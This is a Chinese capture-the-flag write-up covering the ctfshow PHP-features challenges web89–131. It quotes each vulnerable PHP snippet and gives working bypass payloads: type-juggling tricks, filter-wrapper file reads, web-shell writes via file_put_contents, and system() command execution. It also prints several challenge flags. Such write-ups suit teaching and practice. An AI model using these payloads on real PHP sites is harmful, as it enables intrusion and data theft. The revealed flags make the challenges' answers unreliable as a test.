ctfshow web入门php特性
php特性
web89
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if(preg_match("/[0-9]/", $num)){
die("no no no!");
}
if(intval($num)){
echo $flag;
}
intval() 的返回值是整型,1或者0。
作用于数组时当数组为空,返回值是0,不为空则为1,并无报错
这题会对num传入的值进行正则匹配,如果num是一个数,就会返回no no no
所以我们可以用数组
url/?num[]=1
web90
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}else{
echo intval($num,0);
}
}
int intval ( mixed $var [, int $base = 10 ] )
参数说明:
$var:要转换成 integer 的数量值。
$base:转化所使用的进制。
如果 base 是 0,通过检测 var 的格式来决定使用的进制:
如果字符串包括了 "0x" (或 "0X") 的前缀,使用 16 进制 (hex);否则,
如果字符串以 "0" 开始,使用 8 进制(octal);否则,
将使用 10 进制 (decimal)。
if(intval($num,0)===4476){
echo $flag;
这句话是base=0,所以会对num的格式进行检测,相当于个解密
直接使用4476的16进制编码传上去
构造
/?num=0x117c
发现flag
web91
show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
if(preg_match('/^php$/i', $a)){
echo 'hacker';
}
else{
echo $flag;
}
}
else{
echo 'nonononono';
}
/i表示匹配大小写
字符 ^ 和 $ 同时使用时,表示精确匹配,需要匹配以php开头和以php结尾
m
多(more)行匹配
若存在换行\n并且有开始^或结束$符的情况下,
将以换行为分隔符,逐行进行匹配
$str = "abc\nabc";
$preg = "/^abc$/m";
preg_match($preg, $str,$matchs);
这样其实是符合正则表达式的,因为匹配的时候 先是匹配换行符前面的,接着匹配换行符后面的,两个都是abc所以可以通过正则表达式。
s
特殊字符圆点 . 中包含换行符
默认的圆点 . 是匹配除换行符 \n 之外的任何单字符,加上s之后, .包含换行符
$str = "abggab\nacbs";
$preg = "/b./s";
preg_match_all($preg, $str,$matchs);
这样匹配到的有三个 bg b\n bs
g
全局匹配,查找所有匹配项
A
强制从目标字符串开头匹配;
D
如果使用$限制结尾字符,则不允许结尾有换行;
e
配合函数preg_replace()使用, 可以把匹配来的字符串当作正则表达式执行;
第一个preg_match匹配多行匹配“php” 第二个preg_match匹配第一行中的“php”
%0a是换行
url:
/?cmd=%0aphp
/?cmd=abc%0aphp
/?cmd=php%0a%0a
/?cmd=php%0aphp
都可以
web92
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}
姿势一:
与web90的做法一样
姿势二:
e这个字母比较特殊,在PHP中会被当作科学计数法。这是PHP在处理字符串时的一个缺陷
所以为了绕过第6行:==4476
,我们就可以构造4476e123
,被认为是科学计数法,值是:4476×10^123
第9行intval()函数处理时遇到字母就停止,所以只读取4476
而不是4476e123
,从而绕过
?num=4476e123
web93
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}
过滤了字母,所以不能用16进制(0x??)了
可以用8进制或者小数点
/?num=010574
或
/?num=4476.1 //传入小数会直接取整从而实现绕过
web94
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(!strpos($num, "0")){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}
}
strpos()函数返回匹配的字符位置,默认从0开始
strpos(string,find,start)
string 必需。规定要搜索的字符串。
find 必需。规定要查找的字符串。
start 可选。规定在何处开始搜索。
因为if(!strpos($num, "0")),所以传入的参数的第一位不能为0,如果是0,就die
?num=%0a010574
或
?num=%20010574
或
?num= 010574(空格+010574)
或
?num=4476.0
web95
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]|\./i", $num)){
die("no no no!!");
}
if(!strpos($num, "0")){
die("no no no!!!");
}
if(intval($num,0)===4476){
echo $flag;
}
}
这个多过滤了小数点
所以不能再用小数
?num=%0a010574
或
?num=%20010574
或
?num= 010574(空格+010574)
web96
highlight_file(__FILE__);
if(isset($_GET['u'])){
if($_GET['u']=='flag.php'){
die("no no no");
}else{
highlight_file($_GET['u']);
}
}
参数不能等于flag.php
/?u=/var/www/html/flag.php 绝对路径
/?u=./flag.php 相对路径
/?u=php://filter/resource=flag.php php伪协议
web97
include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?>
姿势:
利用数组
MD5()函数无法处理数组,如果传入的为数组,会返回NULL,所以两个数组经过加密后得到的都是NULL,也就是相等的。
POST: a[]=1&b[]=2
web98
include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
?>
&是引用符号,意思是:不同的名字访问同一个变量内容。php的引用是在变量或者函数、对象等前面加上&符号,PHP 的引用允许你用两个变量来指向同一个内容
$_GET?$_GET=&$_POST:'flag';意思:如果存在get方式,就把post的地址传给get,相当于get,只不过要利用post传一下参数
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__)意思:如果有通过GET方法传参'HTTP_FLAG=flag',就highlight_file($flag)。否则highlight_file(__FILE__)
中间代码不用看,直接
GET传参:/?111 //随便传,不能没有
POST传参:HTTP_FLAG=flag
web99
highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) {
array_push($allow, rand(1,$i)); ////往$allow 末尾追加一个随机数
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){ //搜索
file_put_contents($_GET['n'], $_POST['content']); //把content的数据写入到n中
}
?>
$allow = array(); //创建一个空数组
array_push() 函数向第一个参数的数组尾部添加一个或多个元素(入栈)
rand() 函数返回随机整数。
isset() 函数用于检测变量是否已设置并且非 NULL。
in_array()
file_put_contents() 函数把一个字符串写入文件中。
如果文件不存在,将创建一个文件
如果成功,该函数将返回写入文件中的字符数。如果失败,则返回 False。
?n=1.php
content=<?php system("ls");?>
访问1.php即可
?n=1.php
content=<?php system("tac flag36d.php");?>
访问1.php即可
web100
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\;/", $v2)){
if(preg_match("/\;/", $v3)){
eval("$v2('ctfshow')$v3");
}
}
}
?>
new 对象
is_numeric() 函数用于检测变量是否为数字或数字字符串
如果指定的变量是数字和数字字符串则返回 TRUE,否则返回 FALSE
关于优先级
= 的优先级都是高于and 和 or 的
所以$v1为数字即可让$v0为True
所以,让$ctfshow显出来就行了
/?v1=1&v2=var_dump($ctfshow)/*&v3=*/; //利用注释符号/**/
或
/?v1=1&v2=&v3=?><?=`tac ctfshow.php`; //反引号执行命令
$flag_is_7c4e97b80x2d43ba0x2d48af0x2d8dbb0x2d5466a0ca6796
注意flag的形式是ctfshow{xxx-xxx-xxx-xxx}
0x2d //-
ctfshow{7c4e97b8-43ba-48af-8dbb-5466a0ca6796} //最后一段有12位
web101
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){
eval("$v2('ctfshow')$v3");
}
}
}
过滤了很多符号
PHP Reflection API是PHP5才有的新功能,它是用来导出或提取出关于类、方法、属性、参数等的详细信息,包括注释。
$class = new ReflectionClass(‘ctfshow’); // 建立ctfshow这个类的反射类
$instance = class −> newInstanceArgs(class->newInstanceArgs( class−>newInstanceArgs(args); // 相当于实例化ctfshow类
/?v1=1&v2=echo%20new%20ReflectionClass&v3=;
$flag_ff0cb5080x2d04850x2d41d70x2dac310x2d22389554a91 ] }
ctfshow{ff0cb508-0485-41d7-ac31-22389554a91} 最后一段是11位
交上之后,发现答案错误
最后一段少了1位,尝试爆破,猜测是数字
爆出!
ctfshow{ff0cb508-0485-41d7-ac31-22389554a916}
web102
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
$s = substr($v2,2);
$str = call_user_func($v1,$s);
echo $str;
file_put_contents($v3,$str);
}
else{
die('hacker');
}
?>
call_user_func(callback,parameter ) //是一个回调函数
第一个参数 callback 是被调用的回调函数(一般为闭包函数),其余参数是回调函数的参数。
会把参数过一下回调函数
$s = substr($v2,2);
$str = call_user_func($v1,$s);
file_put_contents($v3,$str);
//主要是这三句话
先是第二句话,让变量s过一下v1函数,变量s 是substr($v2,2); 这句话的意思是从下标为2的位置获取字符串
然后file_put_contents,把str变量给v3
构造思路:
$v1:这里使用hex2bin()作为回调函数(16进制转化为字符)
$v2:这里要求全是数字。
$v3:使用PHP伪协议写入文件
$a=<?=`cat *`;
$b=base64_encode($a); // PD89YGNhdCAqYDs=
$c=bin2hex($b); //等号在base64中只是起到填充的作用,不影响具体的数据内容,直接用去掉,=和带着 =的base64解码出来的内容是相同的。
bin2hex是把ASCII 字符的字符串转化为16进制
输出 5044383959474e6864434171594473
带e的话会被认为是科学计数法,可以通过is_numeric检测。
因为是从下标为2的位置取的字符串,所以要在前面加两个数字(随意)
v2=005044383959474e6864434171594473
payload:
?v2=005044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php
post:v1=hex2bin //这个就是把16进制转换为ASCII 字符的字符串
访问1.php后查看源代码获得flag
web103
与102一样
web104
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['v1']) && isset($_GET['v2'])){
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
if(sha1($v1)==sha1($v2)){
echo $flag;
}
}
sha1与md5类似。都无法处理数组
get : v2[]=0
post: v1[]=1
或者用科学计数法(0exxx)
v1=aaK1STfY //0e76658526655756207688271159624026011393
v2=aaO8zKZF //0e89257456677279068558073954252716165668
web105
highlight_file(__FILE__);
include('flag.php');
error_reporting(0);
$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
/1/foreach($_GET as $key => $value){
if($key==='error'){
die("what are you doing?!"); //键名不能是error
}
$$key=$$value; //变量覆盖,意思就是$key的内容作为变量,例如:$key=xx,$$key=$xx
就是把你传入的值给弄成变量
/2/}foreach($_POST as $key => $value){
if($value==='flag'){
die("what are you doing?!"); //键值不能是flag
}
$$key=$$value; //变量覆盖
}
/3/if(!($_POST['flag']==$flag)){ //不相等就die($error)
die($error);
}
echo "your are good".$flag."\n";
die($suces);
?>
你还想要flag嘛?
(PHP 4, PHP 5, PHP 7, PHP 8)
foreach 语法结构提供了遍历数组的简单方式。foreach 仅能够应用于数组和对象,如果尝试应用于其他数据类型的变量,或者未初始化的变量将发出错误信息。有两种语法:
foreach (iterable_expression as $value)
statement
foreach (iterable_expression as $key => $value)
statement
第一种格式遍历给定的 iterable_expression 迭代器。每次循环中,当前单元的值被赋给 $value。
第二种格式做同样的事,只除了当前单元的键名也会在每次循环中被赋给变量 $key。
先说里面有几个变量
$error
$suces
$flag 要输出的变量
因为有变量覆盖,所以可以稍加利用
变量覆盖就是把传入的值变成一个变量
/1/和/2/都好绕过
但是/3/不好绕,当时可以利用这一段
/3/
if(!($_POST['flag']==$flag)){
die($error);
//可以让error变量等于flag变量
构造:
?suces=flag #GET $suces=$flag
error=suces #POST $error=$suces(此时,$flag的值就传给了$suces和$error)
利用($_POST['flag']!==$flag),让它输出$error,因为$error=$flag,这样就输出了$flag
web106
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['v1']) && isset($_GET['v2'])){
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
if(sha1($v1)==sha1($v2) && $v1!=$v2){
echo $flag;
}
}
比104多加了个条件
$v1!=$v2
与104做法差不多
get : v2[]=0
post: v1[]=1
v1=aaK1STfY //0e76658526655756207688271159624026011393
v2=aaO8zKZF //0e89257456677279068558073954252716165668
web107
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
if(isset($_POST['v1'])){
$v1 = $_POST['v1'];
$v3 = $_GET['v3'];
parse_str($v1,$v2);
if($v2['flag']==md5($v3)){
echo $flag;
}
}
parse_str(string,array)
string 必需。规定要解析的字符串。
array 可选。规定存储变量的数组的名称。该参数指示变量将被存储到数组中。
运行实例:
<?php
parse_str("name=Bill&age=60",$myArray);
print_r($myArray);
?>
output:Array ( [name] => Bill [age] => 60 )
所以让v2数组中flag的值等于变量v3的md5值就行了
让v1=flag=e80118aff3ed3bc6f99038f65bef881b就可以让 [flag] => e80118aff3ed3bc6f99038f65bef881b存入到v2数组中
构造:
?v3=harker
post:v1=flag=e80118aff3ed3bc6f99038f65bef881b
或者
?v3[]=1 #GET
v1="flag=0" #POST
web108
*/
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE) {
die('error');
}
//只有36d的人才能看到flag
if(intval(strrev($_GET['c']))==0x36d){
echo $flag;
}
?>
error
ereg()函数用指定的模式搜索一个字符串中指定的字符串,如果匹配成功返回true,否则,则返回false。搜索字母的字符是大小写敏感的。
ereg函数存在NULL截断漏洞,导致了正则过滤被绕过,所以可以使用%00截断正则匹配
strrev() :反转字符串
intval()函数遇到非数字字符就会停止识别, 877d识别为877
^[a-zA-Z]+$这个正则意思是:匹配所有大小写字母一次或者多次(+号:一次或者多次)
构造:
?c=d%00d778 //16进制36d的10进制是877
web109
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
eval("echo new $v1($v2());");
}
}
Exception 处理用于在指定的错误发生时改变脚本的正常流程,是php内置的异常处理类
通过异常处理类Exception(system(‘cmd’))可以运行指定代码,并且能返回运行的结果
ReflectionClass 或者 ReflectionMethod 都为常用的反射类,可以理解为一个类的映射
构造:
?v1=Exception&v2=system("tac f*")
?v1=ReflectionClass&v2=system("tac f*")
?v1=ReflectionMethod&v2=system('tac f*')
web110
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){
die("error v1");
}
if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){
die("error v2");
}
eval("echo new $v1($v2());");
}
getcwd()会将当前工作目录的绝对路径复制到参数buffer所指的内存空间中
利用FilesystmIterator文件系统迭代器
?v1=FilesystemIterator&v2=getcwd
访问fl36dga.txt
web111
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
function getFlag(&$v1,&$v2){
eval("$$v1 = &$$v2;");
var_dump($$v1);
}
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){
die("error v1");
}
if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){
die("error v2");
}
if(preg_match('/ctfshow/', $v1)){
getFlag($v1,$v2);
}
}
首先v1的值必须是ctfshow
eval("$$v1 = &$$v2;");进行了赋值操作,会把v2的值赋给v1
$GLOBALS — 引用全局作用域中可用的全部变量
一个包含了全部变量的全局组合数组。变量的名字就是数组的键。
运行测试:
$a=000;
$b=111;
var_dump($GLOBALS);
output:
["a"]=>
int(000)
["b"]=>
int(111)
构造:
?v1=ctfshow&v2=GLOBALS
//把$GLOBALS赋值给v2,然后v2再赋值给v1,即可将全部变量输出.
web112
highlight_file(__FILE__);
error_reporting(0);
function filter($file){
if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
die("hacker!");
}else{
return $file;
}
}
$file=$_GET['file']; //输入一个文件名
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}
is_file()函数检查指定的文件名是否是正常的文件。如果文件存在且为正常的文件,则返回 true
php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用。 这对于一体式(all-in-one)的文件函数非常有用,类似 readfile()、 file() 和 file_get_contents(), 在数据流内容读取之前没有机会应用其他过滤器。
构造:
?file=php://filter/resource=flag.php
?file=php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php
?file=php://filter/read=convert.quoted-printable-encode/resource=flag.php//可打印字符引用编码
?file=compress.zlib://flag.php //压缩
web113
highlight_file(__FILE__);
error_reporting(0);
function filter($file){
if(preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
die('hacker!');
}else{
return $file;
}
}
$file=$_GET['file'];
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}
过滤了filter 所以伪协议不能用了,但是可以用其他的
?file=compress.zlib://flag.php
另解:
在linux中/proc/self/root是指向根目录的,也就是如果在命令行中输入
ls /proc/self/root,其实显示的内容是根目录下的内容,多次重复后绕过is_file.
?file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/p
roc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/pro
c/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/
self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/se
lf/root/proc/self/root/var/www/html/flag.php
补充个小知识点
在php中,require_once在调用时php会检查该文件是否已经被包含过,如果是则不会再次包含
web114
error_reporting(0);
highlight_file(__FILE__);
function filter($file){
if(preg_match('/compress|root|zip|convert|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
die('hacker!');
}else{
return $file;
}
}
$file=$_GET['file'];
echo "师傅们居然tql都是非预期 哼!";
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
} 师傅们居然tql都是非预期 哼!
filter可以用
?file=php://filter/resource=flag.php
web115
include('flag.php');
highlight_file(__FILE__);
error_reporting(0);
function filter($num){
$num=str_replace("0x","1",$num);
$num=str_replace("0","1",$num);
$num=str_replace(".","1",$num);
$num=str_replace("e","1",$num);
$num=str_replace("+","1",$num);
return $num;
}
$num=$_GET['num'];
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
if($num=='36'){
echo $flag;
}else{
echo "hacker!!";
}
}else{
echo "hacker!!!";
} hacker!!!
str_replace
is_numeric() 函数用于检测变量是否为数字或数字字符串。
num不能是36
语法
trim(string,charlist)
参数 描述
string 必需。规定要检查的字符串。
charlist 可选。规定从字符串中删除哪些字符。如果省略该参数,则移除下列所有字符:
"\0" - NULL
"\t" - 制表符
"\n" - 换行
"\x0B" - 垂直制表符
"\r" - 回车
" " - 空格
测试is_numeric()和trim()(绕过)
for ($i=0; $i <=128 ; $i++) {
$x=chr($i).'1';
if(trim($x)!=='1' && is_numeric($x)){
echo urlencode(chr($i))."\n";
}
}
输出:%0C(空格)、%2B(+号)、-、.(点)、0、1、2、3、4、5、6、7、8、9
+ . 被过滤 -号不能用(-36)
?num=%0c36
web123
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){
eval("$c".";"); //eval把字符串作为PHP代码执行
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}
?>
$_SERVER 是一个包含了诸如头信息(header)、路径(path)、以及脚本位置(script locations)等等信息的数组。
'argv'
传递给该脚本的参数的数组。当脚本以命令行方式运行时,argv 变量传递给程序 C 语言样式的命令行参数。当通过 GET 方式调用时,该变量包含query string。
即$_SERVER[‘argv’][0] = $_SERVER[‘QUERY_STRING’]=(get传参?后面的值)
例如:
?$fl0g=flag_give_me; //get
$_SERVER[‘argv’][0]=$_SERVER[‘QUERY_STRING’]="$fl0g=flag_give_me;"
再说CTF_SHOW.COM
PHP变量命名规则:
只能包含:字母、数字、下划线,其中,只能以字母、下划线开头
同时GET或POST方式传进去的变量名,会自动将空格+ . [转换为_
特殊字符[, GET或POST方式传参时,变量名中的[也会被替换为_,但其后的字符就不会被替换了
如 CTF[SHOW.COM=>CTF_SHOW.COM
也可以用脚本本地爆破得出(没测出来...)
web123爆破变量名.php:
<?php
var_dump($POST);
?>
web123test.py:
import requests
url="http://127.0.0.1/web123爆破变量名.php"
for i in range(0,129):
i = chr(i)
for j in range(0,129):
j =chr(j)
param="CTF"+i+"SHOW"+j+"COM"
data ={ param:1,}
#print(param)
response=requests.post(url=url,data=data)
page_text=response.text
if "CTF_SHOW.COM" in page_text:
print(i+"\t"+j+"\n")
print(page_text)
姿势一:
利用
eval("$c".";"); 和echo $flag;
直接
CTF_SHOW=1&CTF[SHOW.COM=1&fun=echo $flag
姿势二:
当GET方式传入 赋值的语句$fl0g=flag_give_me;时
$a[0]=$_SERVER[‘argv’][0]="$fl0g=flag_give_me;"
eval()函数是将()里面的内容当作php来运行,可以让这句话($fl0g=flag_give_me;)在php中进行赋值
然后通过echo $flag; 输出flag值
?$fl0g=flag_give_me; #GET
CTF_SHOW=1&CTF[SHOW.COM=1&fun=eval($a[0]) #POST
姿势三:
+隔断argv
parse_str — 将字符串解析成多个变量
?a=1+fl0g=flag_give_me #GET
CTF_SHOW=1&CTF[SHOW.COM=1&fun=parse_str($a[1]) #POST
web125
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print/i", $c)&&$c<=16){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}
?>
?1=flag.php #GET
CTF_SHOW=1&CTF[SHOW.COM=1&fun=highlight_file($_GET[1]) #POST
web126
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print|g|i|f|c|o|d/i", $c) && strlen($c)<=16){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}
与web123类似
用姿势一或者三都可以
姿势一:
?$fl0g=flag_give_me; #GET
CTF_SHOW=1&CTF[SHOW.COM=1&fun=eval($a[0]) #POST
姿势三:
?a=1+fl0g=flag_give_me #GET
CTF_SHOW=1&CTF[SHOW.COM=1&fun=parse_str($a[1]) #POST
web127
error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
$ctf_show = md5($flag);
$url = $_SERVER['QUERY_STRING'];
//特殊字符检测
function waf($url){
if(preg_match('/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\{|\;|\:|\[|\]|\}|\'|\"|\<|\,|\>|\.|\\\|\//', $url)){
return true;
}else{
return false;
}
}
if(waf($url)){
die("嗯哼?");
}else{
extract($_GET);
}
if($ctf_show==='ilove36d'){
echo $flag;
}
extract — 从数组中将变量导入到当前的符号表
思路:
get传参,并赋值给$url,让waf($url)==false,执行extract($_GET);,把get传入的值导入,然后过if语句就o了
但是过滤了_ 所以传值ctf_show时,要注意一下,用空格( )代替_
( )可以用脚本fuzz出来(没测出来...)
#web127.php
<?php
extract($_GET);
if($ctf_show==='ilove36d'){
echo "GET!";
}
import requests
url = "http://127.0.0.1/web127.php"
for i in range(0,129):
# print(i)
i = chr(i)
p = "ctf"+i+"show"
params = { p:"ilove36d"}
reponse = requests.get(url=url,params=params)
page = (reponse.text)
if "GET!" in page:
print(i)
print("-"*20)
?ctf show=ilove36d
web128
error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
$f1 = $_GET['f1'];
$f2 = $_GET['f2'];
if(check($f1)){
var_dump(call_user_func(call_user_func($f1,$f2)));
}else{
echo "嗯哼?";
}
function check($str){
return !preg_match('/[0-9]|[a-z]/i', $str);
} NULL
call_user_func(callable $callback, mixed $parameter = ?, mixed $... = ?): mixed
第一个参数 callback 是被调用的回调函数,其余参数是回调函数的参数。
这一题的解题思路一定是这句话:
var_dump(call_user_func(call_user_func($f1,$f2)));
姿势:
_()是gettext()的拓展函数
在开启相关设定后,_("0")等价于gettext("0"),且就返回参数0 //_=gettext
<?php
echo gettext(666); //输出 666
echo _("666"); //输出 666
?>
//https://www.cnblogs.com/lost-1987/articles/3309693.html
get_defined_vars — 返回由所有已定义变量所组成的数组
构造:
?f1=_&f2=get_defined_vars
原理:
var_dump(call_user_func(call_user_func($f1,$f2)));
=> var_dump(call_user_func(call_user_func(_,'get_defined_vars')));
=> var_dump(call_user_func(get_defined_vars));
web129
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['f'])){
$f = $_GET['f'];
if(stripos($f, 'ctfshow')>0){
echo readfile($f);
}
}
stripos(string $haystack, string $needle, int $offset = 0): int
返回在字符串 haystack 中 needle 首次出现的数字位置。找的是needle
与 strpos() 不同,stripos() 不区分大小写。
如果未发现 needle 将返回 false。 //后面会用到
readfile(string $filename, bool $use_include_path = false, resource $context = ?): int
读取文件并写入到输出缓冲。
参数
filename
要读取的文件名。
use_include_path
想要在 include_path 中搜索文件,可使用这个可选的第二个参数,设为 true。
context
Stream 上下文(context) resource。
返回值
成功时返回从文件中读入的字节数, 或者在失败时返回 false
构造时f中要有ctfshow,从而执行readfile函数
?f=php://filter/read=convert.base64-encode|ctfshow/resource=flag.php
?f=php://filter/|ctfshow/resource=flag.php
?f=/ctfshow/../var/www/html/flag.php
?f=./ctfshow/../flag.php
web130
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
$f = $_POST['f'];
if(preg_match('/.+?ctfshow/is', $f)){ //不能匹配到/.+?ctfshow/
die('bye!');
}
if(stripos($f, 'ctfshow') === FALSE){ //传的$f中有ctfshow
die('bye!!');
}
echo $flag;
}
首先有个小知识点:
在PHP中,0===FALSE是错误的
<?php
if(0 === FALSE){die('11');}
else die('66');
?>
//66
姿势一:PCRE回溯次数限制
P神博客:
https://www.leavesongs.com/PENETRATION/use-pcre-backtrack-limit-to-bypass-restrict.html
PHP为了防止正则表达式的拒绝服务攻击(reDOS),给pcre设定了一个回溯次数上限pcre.backtrack_limit。我们可以通过var_dump(ini_get(‘pcre.backtrack_limit’));的方式查看当前环境下的上限
//1000000次
如果回溯次数超过了100万,preg_match返回的非1和0,而是false。
这样也就达到绕过preg_match的目的
通过发送超长字符串的方式,使正则执行失败:
import requests
url="http://d982e941-58a2-4bbb-8e2e-298bdb38ac17.challenge.ctf.show/"
data={"f":"1111"*250000+"ctfshow"}
response=requests.post(url=url,data=data)
print(response.text)
姿势二:
preg_match无法处理数组
preg_match() 返回值有三种:
0 不匹配
1 匹配一次
FALSE 发生错误
对象如果是数组,就返回FALSE
f=ctfshow[] //post
姿势三:
if(preg_match('/.+?ctfshow/is', $f)){
die('bye!');
.表示任意单个字符,+表示必须匹配1次或多次,+?表示 重复1次或更多次,但尽可能少重复
意思是ctfshow前面必须至少有一个字符,才会匹配到
f=ctfshow //post
姿势四:
.表示任意单个字符,但不会匹配换行符
web131
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
$f = (String)$_POST['f'];
if(preg_match('/.+?ctfshow/is', $f)){ //不能匹配到/.+?ctfshow/
die('bye!');
}
if(stripos($f,'36Dctfshow') === FALSE){ //传的$f中有36Dctfshow
die('bye!!');
}
echo $flag;
}
与130类似,用姿势一
只要把ctfshow改为36Dctfshow就行了,还有url
web132
